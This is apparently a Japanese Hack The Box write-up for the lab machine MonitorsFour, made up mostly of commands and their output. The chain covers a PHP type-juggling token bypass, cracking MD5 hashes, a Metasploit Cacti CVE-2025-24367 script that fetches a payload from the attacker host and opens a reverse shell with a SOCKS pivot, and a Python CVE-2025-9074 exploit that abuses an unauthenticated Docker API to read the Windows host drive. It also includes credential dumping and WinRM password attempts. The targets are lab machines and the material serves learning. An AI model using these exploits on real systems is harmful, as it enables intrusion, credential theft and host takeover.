Hack The BoxのWriteup(MonitorsFour)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告





HackTheBox: MonitorsFour — 全実行コマンド・実行結果レポート
STEP 1

PHP Type Juggling — /user?token=0 による全ユーザーデータ漏洩

⚠️
PHP Type JugglingAuthController.phpvalidate_token() が緩い比較演算子 == を使用。token=0 を渡すと PHP の "0e543..." == 0 (Magic Hash) が TRUE となりトークン検証をバイパス。全ユーザーデータが漏洩する。

脆弱性コード確認

AuthController.php — validate_token()
public function validate_token($token): bool {
    $query = "SELECT token FROM users";
    $stmt = $this->db->query($query);
    $tokens = $stmt->fetchAll(PDO::FETCH_COLUMN);
    foreach ($tokens as $db_token) {
        if ($token == $db_token) {   // ← 緩い比較 (PHP Type Juggling)
            return true;
        }
    }
    return false;
}
ℹ️
DB 内のトークン値は "0e543210987654321" 形式 (Magic Hash)。PHP は "0e..." == 0TRUE と評価するため、token=0 で全ユーザーに一致してしまう。

エクスプロイト実行

BASH
curl -s "http://monitorsfour.htb/user?token=0"
RESULT — 全ユーザーデータ漏洩
[
  {
    "id": 2,
    "username": "admin",
    "email": "admin@monitorsfour.htb",
    "password": "56b32eb43e6f15395f6c46c1c9e1cd36",
    "role": "super user",
    "token": "8024b78f83f102da4f",
    "name": "Marcus Higgins",
    "position": "System Administrator"
  },
  {"id": 5, "username": "mwatson",   "password": "69196959c16b26ef00b77d82cf6eb169", "token": "0e543210987654321"},
  {"id": 6, "username": "janderson", "password": "2a22dcf99190c322d974c8df5ba3256b", "token": "0e999999999999999"},
  {"id": 7, "username": "dthompson", "password": "8d4a7e7fd08555133e056d9aacb1e519", "token": "0e111111111111111"}
]
4ユーザーの MD5 ハッシュ、メールアドレス、役職、APIトークンを取得。admin のフルネームは “Marcus Higgins”
STEP 2

MD5 クラック — hashcat + rockyou.txt

hashcat 実行

BASH
cat > /tmp/hashes.txt << 'EOF'
56b32eb43e6f15395f6c46c1c9e1cd36
69196959c16b26ef00b77d82cf6eb169
2a22dcf99190c322d974c8df5ba3256b
8d4a7e7fd08555133e056d9aacb1e519
EOF
hashcat -m 0 /tmp/hashes.txt /usr/share/wordlists/rockyou.txt --quiet --show
RESULT
56b32eb43e6f15395f6c46c1c9e1cd36:wonderful1

Session..........: hashcat
Status...........: Cracked (1/4)
Hash.Mode........: 0 (MD5)
ユーザーMD5 ハッシュパスワード
admin56b32eb43e6f15395f6c46c1c9e1cd36wonderful1
mwatson69196959c16b26ef00b77d82cf6eb169未クラック
janderson2a22dcf99190c322d974c8df5ba3256b未クラック
dthompson8d4a7e7fd08555133e056d9aacb1e519未クラック
admin の MD5 ハッシュ 56b32eb43e6f15395f6c46c1c9e1cd36wonderful1
STEP 3

Main Web App 管理者ログイン

管理者ダッシュボードへログイン

BASH
# フォームは /api/v1/auth へ POST (multipart/form-data)
curl -si -X POST "http://monitorsfour.htb/api/v1/auth" \
  -d "username=admin&password=wonderful1"
RESULT
HTTP/1.1 200 OK
Location: /admin/dashboard
Set-Cookie: PHPSESSID=ec0caa0fdc720e49df8180bc6d2b17f0; path=/
[+] admin:wonderful1 で管理者ダッシュボードにアクセス成功

API キー生成

BASH
# /admin/api → "Generate New API Key" ボタン
curl -si -X POST "http://monitorsfour.htb/admin/api/generate" \
  -b "PHPSESSID=ec0caa0fdc720e49df8180bc6d2b17f0"
RESULT
Your API Key: 8024b78f83f102da4f
Store this key securely. Treat it like a password.
ℹ️
Changelog V1.9: 「Introduced API user functionality with token-based authentication.」— 生成されたAPIトークンが Cacti 管理者パスワードと連携している可能性あり。また、admin のフルネーム “Marcus Higgins” から Cacti ユーザー名 marcus を推定。

Changelog から Docker Desktop バージョン特定

BASH
curl -s "http://monitorsfour.htb/admin/changelog" -b session_cookie | grep -E "Docker|Windows|version"
RESULT (抜粋)
V.1.7 (May 16, 2025): Infrastructure Notice
  "Migrated to Windows and ported websites to Docker via Docker Desktop 4.44.2."

V.1.9 (June 2, 2025): API User Integration
  "Introduced API user functionality with token-based authentication."
Docker Desktop 4.44.2 を確認 → CVE-2025-9074 (Docker Desktop < 4.44.3) の対象バージョン。
STEP 4

Cacti ログイン — marcus:wonderful1

Cacti ログイン確認

BASH
python3 << 'EOF'
import requests, re

s = requests.Session()
s.headers['Host'] = 'cacti.monitorsfour.htb'
r = s.get('http://10.129.6.57/cacti/index.php')
csrf = re.search(r'csrfMagicToken\s*=\s*"([^"]+)"', r.text).group(1)

r2 = s.post('http://10.129.6.57/cacti/index.php', data={
    '__csrf_magic': csrf, 'action': 'login',
    'login_username': 'marcus', 'login_password': 'wonderful1'
})
version = re.search(r'Version\s+([\d.]+)', r2.text)
print(f'Login: {r2.status_code} - Logged in: {"cactiConsoleAllowed" in r2.text}')
print(f'Cacti version: {version.group(1) if version else "?"}')
EOF
RESULT
Login: 200 - Logged in: True
Cacti version: 1.2.28

CVE-2025-24367 脆弱性確認

BASH
msfconsole -q -x "
use exploit/multi/http/cacti_graph_template_rce
set RHOSTS 10.129.6.57
set VHOST cacti.monitorsfour.htb
set USERNAME marcus
set PASSWORD wonderful1
set TARGETURI /cacti
check; exit"
RESULT
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.28
[*] Attempting login with user `marcus` and password `wonderful1`
[+] Logged in
[+] 10.129.6.57:80 - The target is vulnerable.
Cacti 1.2.28 に CVE-2025-24367 として脆弱であることを確認。認証情報 marcus:wonderful1 が有効。
STEP 5

CVE-2025-24367 — Cacti < 1.2.29 Authenticated RCE

⚠️
CVE-2025-24367/graph_templates.phpright_axis_label パラメータにコマンドインジェクション。改行を含む RRDtool コマンドを注入することで、攻撃者の HTTP サーバーからペイロードをダウンロードし Cacti Web ルートに PHP ファイルとして配置後、Meterpreter セッションを確立する。

グラフテンプレート調査 — Template ID 確認

BASH — Graph 3 が使用するテンプレートを特定
python3 -c "
import requests, re
s = requests.Session()
s.headers['Host'] = 'cacti.monitorsfour.htb'
r = s.get('http://10.129.6.57/cacti/index.php')
csrf = re.search(r'csrfMagicToken\s*=\s*\"([^\"]+)\"', r.text).group(1)
s.post('http://10.129.6.57/cacti/index.php', data={
    '__csrf_magic': csrf, 'action': 'login',
    'login_username': 'marcus', 'login_password': 'wonderful1'})
r2 = s.get('http://10.129.6.57/cacti/graph_view.php?action=list')
for l in r2.text.split('\n'):
    if 'Logged in' in l and 'template_edit' in l:
        print(l.strip()[:200])
"
RESULT
Graph 3: "Local Linux Machine - Logged in Users"
  └── Template ID: 226  (graph_templates.php?action=template_edit&id=226)

MSF モジュール設定: 'TemplateId' => 226  (graph_json.php?local_graph_id=3 でトリガー)

Metasploit エクスプロイト実行

RESOURCE SCRIPT: /tmp/msf_full_chain.rc
use exploit/multi/http/cacti_graph_template_rce
set RHOSTS 10.129.6.57
set RPORT 80
set VHOST cacti.monitorsfour.htb
set TARGETURI /cacti
set USERNAME marcus
set PASSWORD wonderful1
set LHOST 10.10.14.245
set LPORT 4444
set SRVHOST 10.10.14.245
set SRVPORT 8080
set TARGET 0
set AutoCheck false
run -j
sleep 120
sessions -l
route add 192.168.65.0/24 1
sleep 3
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 1080
set VERSION 5
run -j
sleep 10
sessions -l
sleep 7200
BASH
fuser -k 4444/tcp 8080/tcp 1080/tcp 2>/dev/null
nohup msfconsole -q -r /tmp/msf_full_chain.rc > /tmp/msf_full_chain.txt 2>&1 & disown
RESULT — /tmp/msf_full_chain.txt
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
[*] Started reverse TCP handler on 10.10.14.245:4444
[!] AutoCheck is disabled, proceeding with exploitation
[*] Getting the CSRF token to login
[*] Getting the version
[*] Attempting login with user `marcus` and password `wonderful1`
[+] Logged in
[*] Using URL: http://10.10.14.245:8080/n
[*] Template update response: HTTP 200
[*] Trigger template update response: HTTP 200
[*] 10.129.6.57 - Request 'GET /n'
[*] 10.129.6.57 - Sending payload ...
[+] PHP payload uploaded successfully to /cacti/t.php
[*] Template update response: HTTP 200
[*] Trigger template update response: HTTP 200
[*] Sending stage (3090404 bytes) to 10.129.6.57
[+] Deleted t.php
[+] Deleted y.php
[+] Meterpreter session 1 opened (10.10.14.245:4444 -> 10.129.6.57:58386) at 2026-05-31 07:58:34 +0900

[*] Route added (192.168.65.0/24 via session 1)
[*] Auxiliary module running as background job 1.
[*] Starting the SOCKS proxy server
[*] Started SOCKS proxy listener on 127.0.0.1:1080
Meterpreter session 1 を www-data@Debian GNU/Linux 13 (Cacti Docker コンテナ) で取得。192.168.65.0/24 へのルート追加、SOCKS5 プロキシ 127.0.0.1:1080 起動完了。

シェル基本情報

Docker exec API — id / hostname / uname
uid=33(www-data) gid=33(www-data) groups=33(www-data)
821fbd6a43fa
Linux 821fbd6a43fa 6.6.87.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC Thu Jun  5 18:30:46 UTC 2025 x86_64 GNU/Linux
PRETTY_NAME="Debian GNU/Linux 13 (trixie)"
ネットワーク情報
eth0: inet 172.18.0.2/16
default via 172.18.0.1 dev eth0
STEP 6

user.txt 読み取り

Docker exec API 経由でフラグ取得

BASH — Docker exec API (192.168.65.7:2375 経由、SOCKS5 プロキシ使用)
python3 << 'EOF'
import requests

PROXY = {'http': 'socks5h://127.0.0.1:1080'}
BASE  = 'http://192.168.65.7:2375'
CONTAINER = '821fbd6a43fa'

exec_resp = requests.post(f'{BASE}/containers/{CONTAINER}/exec',
    json={'AttachStdout': True, 'AttachStderr': True,
          'Cmd': ['sh', '-c', 'cat /home/marcus/user.txt']},
    proxies=PROXY)
exec_id = exec_resp.json()['Id']
result  = requests.post(f'{BASE}/exec/{exec_id}/start',
    json={'Detach': False, 'Tty': True}, proxies=PROXY)
print(result.text.strip())
EOF
RESULT
536a14d1e2361bb6919e7f74ee68f9b5
🚩 USER FLAG
536a14d1e2361bb6919e7f74ee68f9b5
/home/marcus/user.txt (Docker container: 821fbd6a43fa)
STEP 7

CVE-2025-9074 — Docker Desktop 4.44.2 特権昇格 → root.txt

⚠️
CVE-2025-9074 (CVSS 9.3 Critical) — Docker Desktop < 4.44.3 において Docker Engine API が 192.168.65.7:2375 に平文でバインドされ、コンテナネットワーク (192.168.65.0/24) から認証なしでアクセス可能。新しいコンテナを作成する際に /mnt/host/c:/host_root でWindows の C ドライブをマウントでき、ホストOSのファイルシステムへ完全アクセスが可能となる。

脆弱性概要

項目内容
CVECVE-2025-9074
対象Docker Desktop < 4.44.3 (Windows + WSL2 環境)
CVSS9.3 (Critical)
ターゲットバージョンDocker Desktop 4.44.2
攻撃経路コンテナ (172.18.0.2) → SOCKS5 proxy → 192.168.65.7:2375 (Docker Engine API)
影響Alpine コンテナ作成 + /mnt/host/c:/host_root バインドマウント → Windows C: ドライブへ全アクセス
修正バージョンDocker Desktop 4.44.3 以降
PoC 参考github.com/j3r1ch0123/CVE-2025-9074

Docker API アクセス確認

BASH — SOCKS5 プロキシ経由で Docker Engine API に接続
proxychains4 -q curl -s --connect-timeout 10 \
  http://192.168.65.7:2375/version | python3 -m json.tool | head -15
RESULT
{
    "Platform": { "Name": "Docker Engine - Community" },
    "Components": [
        {
            "Name": "Engine",
            "Version": "28.3.2",
            "Details": {
                "ApiVersion": "1.51",
                "KernelVersion": "6.6.87.2-microsoft-standard-WSL2",
                "Os": "linux"
            }
        }
    ]
}
Docker Engine API (192.168.65.7:2375) への認証なしアクセス確認。WSL2 上の Docker Engine。

実行中コンテナ一覧 & 利用可能イメージ確認

BASH
python3 << 'EOF'
import requests

PROXY = {'http': 'socks5h://127.0.0.1:1080'}
BASE  = 'http://192.168.65.7:2375'

containers = requests.get(f'{BASE}/containers/json', proxies=PROXY).json()
for c in containers:
    print(f'ID: {c["Id"][:12]}  Image: {c["Image"]:30s}  Names: {c["Names"]}')

images = requests.get(f'{BASE}/images/json', proxies=PROXY).json()
for img in images:
    print(f'Image: {img.get("RepoTags", [])}')
EOF
RESULT
ID: 821fbd6a43fa  Image: docker_setup-nginx-php          Names: ['/web']
ID: c2bdd5d10cc5  Image: docker_setup-mariadb            Names: ['/mariadb']

Image: ['docker_setup-nginx-php:latest']
Image: ['docker_setup-mariadb:latest']
Image: ['alpine:latest']  ← 攻撃用コンテナとして利用可能

CVE-2025-9074 エクスプロイト — Windows C: ドライブマウント

BASH — Alpine コンテナ作成 + /mnt/host/c マウント
python3 << 'EOF'
import requests, time

PROXY = {'http': 'socks5h://127.0.0.1:1080'}
BASE  = 'http://192.168.65.7:2375'

def cve_2025_9074(cmd, label=""):
    print(f'[*] {label or cmd}')

    # Alpine コンテナを C: ドライブマウント付きで作成
    payload = {
        "Image": "alpine",
        "Cmd": ["sh", "-c", cmd],
        "HostConfig": {
            "Binds": ["/mnt/host/c:/host_root"],  # Windows C:\ → /host_root
            "AutoRemove": False
        }
    }
    r = requests.post(f'{BASE}/containers/create', json=payload, proxies=PROXY)
    container_id = r.json()['Id']
    print(f'[+] Container created: {container_id[:12]}')

    requests.post(f'{BASE}/containers/{container_id}/start', proxies=PROXY)
    time.sleep(5)

    logs = requests.get(
        f'{BASE}/containers/{container_id}/logs?stdout=1&stderr=1&follow=0',
        proxies=PROXY).content

    # ストリームヘッダー (8 bytes) をスキップしてテキスト抽出
    result = b''
    idx = 0
    while idx + 8 <= len(logs):
        size = int.from_bytes(logs[idx+4:idx+8], 'big')
        result += logs[idx+8:idx+8+size]
        idx += 8 + size

    out = result.decode('utf-8', errors='replace').strip()
    print(f'[+] Output: {out}')
    requests.delete(f'{BASE}/containers/{container_id}?force=1', proxies=PROXY)
    return out

# Step 1: マウント確認 (Windows C: ルート一覧)
cve_2025_9074("ls /host_root/", "Check Windows C: drive mount")

# Step 2: Administrator デスクトップ確認
cve_2025_9074("ls /host_root/Users/Administrator/Desktop/", "List Administrator Desktop")

# Step 3: root.txt 読み取り
cve_2025_9074("cat /host_root/Users/Administrator/Desktop/root.txt", "Read root.txt")
EOF
RESULT
[*] Check Windows C: drive mount
[+] Container created: 8d075b2e5365
[+] Output:
ls: /host_root/DumpStack.log.tmp: Permission denied
ls: /host_root/pagefile.sys: Permission denied
$RECYCLE.BIN  Documents and Settings  PerfLogs  Program Files
Program Files (x86)  ProgramData  Recovery  System Volume Information
Users  Windows  Windows.old  inetpub

[*] List Administrator Desktop
[+] Container created: 2135c1c6702d
[+] Output:
desktop.ini
root.txt

[*] Read root.txt
[+] Container created: 27957afd6fc4
[+] Output: 4842b71e4c0f5b24021a6f46c44d173e
🚩 ROOT FLAG
4842b71e4c0f5b24021a6f46c44d173e
C:\Users\Administrator\Desktop\root.txt (via CVE-2025-9074 → /host_root/Users/Administrator/Desktop/root.txt)

攻撃フロー図解

Kali (10.10.14.245)
    │
    │  SOCKS5 127.0.0.1:1080 (Metasploit route via Meterpreter session 1)
    │
    └──▶ 192.168.65.7:2375  [Docker Engine API — 認証なし]
              │
              │  POST /containers/create
              │  {Image: "alpine", Binds: ["/mnt/host/c:/host_root"]}
              │
              └──▶ [新規 Alpine コンテナ]
                        │
                        │  /host_root/ = Windows C:\ ドライブ
                        │
                        └──▶ cat /host_root/Users/Administrator/Desktop/root.txt
                                   = 4842b71e4c0f5b24021a6f46c44d173e
その他

補足調査 — 偵察・コンテナ内列挙・ネットワーク探索・WinRM 試行

偵察 — ポートスキャン

BASH
nmap -p- --defeat-rst-ratelimit -T4 10.129.6.57 -oN /tmp/ctf_nmap_full.txt
nmap -sV -sC -p 80,5985 10.129.6.57
RESULT
PORT     STATE SERVICE VERSION
80/tcp   open  http    nginx → monitorsfour.htb / cacti.monitorsfour.htb
5985/tcp open  http    Microsoft HTTPAPI 2.0 (WinRM)

OS: Windows 11 / Server 2025 Build 26100 (MONITORSFOUR)
BASH — 仮想ホスト列挙
ffuf -w /usr/share/dnsrecon/dnsrecon/data/subdomains-top1mil-5000.txt \
  -u http://10.129.6.57/ -H "Host: FUZZ.monitorsfour.htb" -mc 200,301,302 -fw 3
RESULT
200 cacti.monitorsfour.htb  → Cacti 1.2.28

偵察 — ディレクトリ・API エンドポイント列挙

BASH
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://monitorsfour.htb/FUZZ -mc 200,301,302,403
RESULT
200 /login
200 /user    ← {"error":"Missing token parameter"}
200 /contact ← PHP エラー: /var/www/app/views/contact.php パス漏洩
301 /controllers, /views, /static
BASH — API エンドポイント
ffuf -w /usr/share/wordlists/dirb/common.txt \
  -u http://monitorsfour.htb/api/v1/FUZZ -mc 200,201,301,302,400,403,405
RESULT
200 /api/v1/auth    (ログイン)
200 /api/v1/logout  (ログアウト)
200 /api/v1/user    (ユーザー情報 — 要トークン)
200 /api/v1/users   (ユーザー一覧 — 要トークン)
200 /api/v1/reset   (パスワードリセット)

コンテナ内列挙 — 認証情報・ソースコード

BASH
sessions -c "cat /var/www/html/cacti/include/config.php | grep 'database_'"
sessions -c "cat /var/www/app/.env"
RESULT
# Cacti config.php
$database_hostname = 'mariadb';
$database_username = 'cactidbuser';
$database_password = '7pyrf6ly8qx4';

# Main app .env
DB_HOST=mariadb
DB_USER=monitorsdbuser
DB_PASS=f37p2j8f4t0r

コンテナ内列挙 — MariaDB ユーザーテーブル

BASH
sessions -c "mysql -h mariadb -u monitorsdbuser -pf37p2j8f4t0r monitorsfour_db \
  -e 'SELECT id,username,email,role,name,position FROM users;'"
RESULT
id  username   email                       role       name               position
2   admin      admin@monitorsfour.htb      super user Marcus Higgins     System Administrator
5   mwatson    mwatson@monitorsfour.htb    user       Michael Watson     Website Administrator
6   janderson  janderson@monitorsfour.htb  user       Jennifer Anderson  Network Engineer
7   dthompson  dthompson@monitorsfour.htb  user       David Thompson     Database Manager

コンテナ内列挙 — Capabilities・権限確認

BASH
sessions -c "cat /proc/1/status | grep -E 'Cap(Prm|Eff|Bnd)'"
sessions -c "find / -perm -4000 -type f 2>/dev/null"
RESULT
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 00000000a80425fb

SUID: /usr/bin/su, /usr/bin/mount, /usr/bin/chsh ... (標準バイナリのみ)
Docker socket (/var/run/docker.sock): なし
sudo: not found
ℹ️
コンテナは非特権 (unprivileged)。内部での権限昇格手段なし → Docker Engine API (CVE-2025-9074) 経由でのホスト側エスケープが有効。

ネットワーク探索 — Docker Desktop ホスト特定

BASH (コンテナ内)
sessions -c "curl -sv http://host.docker.internal:5985/ 2>&1 | grep 'Trying\|Connected'"
RESULT
*   Trying 192.168.65.254:5985...
* Connected to host.docker.internal (192.168.65.254) port 5985
BASH — 192.168.65.0/24 ポートスキャン
sessions -c "for port in 80 135 445 2375 2376 5985; do
  (bash -c \"echo >/dev/tcp/192.168.65.254/\$port\" 2>/dev/null \
    && echo \"Port \$port OPEN on .254\")
done"
sessions -c "for ip in 1 2 3 4 5 6 7 8; do
  (curl -s --connect-timeout 1 http://192.168.65.\$ip:2375/version 2>/dev/null \
    | grep -q 'ApiVersion' && echo \"Docker API on 192.168.65.\$ip:2375\")
done"
RESULT
Port 80  OPEN on 192.168.65.254
Port 135 OPEN on 192.168.65.254
Port 445 OPEN on 192.168.65.254
Port 5985 OPEN on 192.168.65.254
Port 2375 NOT OPEN on 192.168.65.254

Docker API on 192.168.65.7:2375  ← CVE-2025-9074 ターゲット
IP役割備考
172.18.0.1Docker Bridge GatewayWindows Firewall でポート 80 のみ開放
192.168.65.254Docker Desktop Host GatewayWinRM (5985) / SMB (445) 到達可能
192.168.65.7Docker Engine APICVE-2025-9074 — 2375/tcp 平文 bind (認証なし)

WinRM 認証試行 (全て失敗)

BASH
# proxychains4 経由 (SOCKS5 127.0.0.1:1080) で WinRM を試行
proxychains4 evil-winrm -i 192.168.65.254 -u marcus        -p wonderful1  2>&1
evil-winrm -i 10.129.6.57             -u marcus        -p wonderful1  2>&1
evil-winrm -i 10.129.6.57             -u administrator -p wonderful1  2>&1
evil-winrm -i 10.129.6.57             -u marcus        -p 7pyrf6ly8qx4 2>&1
evil-winrm -i 10.129.6.57             -u marcus        -p f37p2j8f4t0r 2>&1
RESULT
全 credential: WinRM::WinRMAuthorizationError

ユーザー         パスワード       結果
marcus          wonderful1      ❌ WinRMAuthorizationError
administrator   wonderful1      ❌ WinRMAuthorizationError
admin           wonderful1      ❌ WinRMAuthorizationError
marcus          7pyrf6ly8qx4    ❌ WinRMAuthorizationError
marcus          f37p2j8f4t0r    ❌ WinRMAuthorizationError
mwatson         wonderful1      ❌ WinRMAuthorizationError
ℹ️
WinRM は未解決。Web アプリ・DB 認証情報はいずれも Windows ローカル認証では有効でなかった。CVE-2025-9074 により WinRM 認証情報なしで root.txt を取得できたため、これ以上の調査は不要。
SUMMARY

まとめ

アーキテクチャ概要

Internet (10.10.14.245 / Kali)
    │
10.129.6.57 (Windows 11 / Server 2025 — MONITORSFOUR)
    │ Port 80  (nginx → Docker コンテナへリバースプロキシ)
    │ Port 5985 (WinRM — 外部公開)
    │
    └── Docker Desktop 4.44.2  [CVE-2025-9074 対象]
          │
          ├── [172.18.0.2] Web Container (Debian GNU/Linux 13)  ← 侵入済 (session 1)
          │    ├── nginx + PHP-FPM (monitorsfour.htb)
          │    └── Cacti 1.2.28 (cacti.monitorsfour.htb)  ← CVE-2025-24367
          │
          ├── [mariadb] MariaDB Container
          │
          └── Docker Desktop Internal Network (192.168.65.0/24)
                ├── 192.168.65.254  Docker Desktop Host Gateway
                │    ├── Port 445:  SMB
                │    └── Port 5985: WinRM
                │
                └── 192.168.65.7:2375  Docker Engine API (認証なし)  ← CVE-2025-9074
                         │
                         └──▶ alpine コンテナ作成
                                   Binds: ["/mnt/host/c:/host_root"]
                                   → C:\Users\Administrator\Desktop\root.txt

攻撃チェーン

ステップ手法結果状態
1PHP Type Juggling (/user?token=0)4ユーザーの MD5 ハッシュ漏洩✅ 完了
2hashcat MD5 クラック (rockyou.txt)wonderful1 (admin パスワード)✅ 完了
3Main Web App 管理者ログインAPI Key 取得・Docker Desktop 4.44.2 確認✅ 完了
4Cacti ログイン (marcus:wonderful1)Cacti 1.2.28 認証済みセッション✅ 完了
5CVE-2025-24367 (Cacti < 1.2.29 RCE)Meterpreter session 1 (www-data@container) + SOCKS5 127.0.0.1:1080✅ 完了
6user.txt 読み取り (Docker exec API)536a14d1e2361bb6919e7f74ee68f9b5✅ 完了
7CVE-2025-9074 (Docker Desktop 4.44.2 PE)root.txt: 4842b71e4c0f5b24021a6f46c44d173e✅ 完了
🚩 USER FLAG
536a14d1e2361bb6919e7f74ee68f9b5
/home/marcus/user.txt (Docker container 821fbd6a43fa)
🏆 ROOT FLAG
4842b71e4c0f5b24021a6f46c44d173e
C:\Users\Administrator\Desktop\root.txt (CVE-2025-9074 → /host_root/Users/Administrator/Desktop/root.txt)

発見した認証情報

サービスユーザー名パスワード取得方法
Main Web Appadminwonderful1PHP Type Juggling → hashcat MD5
Cacti 1.2.28marcuswonderful1admin 氏名 “Marcus Higgins” から推定
MariaDB (Cacti)cactidbuser7pyrf6ly8qx4config.php から取得
MariaDB (Main)monitorsdbuserf37p2j8f4t0r.env ファイルから取得

使用ツール

nmap / ffuf
ポートスキャン・ディレクトリ・仮想ホスト列挙
hashcat
MD5 ハッシュクラック (rockyou.txt, mode 0)
Metasploit — exploit/multi/http/cacti_graph_template_rce
CVE-2025-24367: Cacti < 1.2.29 Authenticated RCE → Meterpreter + SOCKS5 pivot
Python3 (requests + socks5h)
CVE-2025-9074: Docker Engine API (192.168.65.7:2375) 経由でコンテナ作成・C: ドライブマウント
proxychains4
SOCKS5 127.0.0.1:1080 経由で内部ネットワーク (192.168.65.0/24) へアクセス

HackTheBox: MonitorsFour (10.129.6.57) — 調査日: 2026-05-30 〜 2026-05-31

LHOST: 10.10.14.245 | ターゲット OS: Windows 11 / Server 2025 Build 26100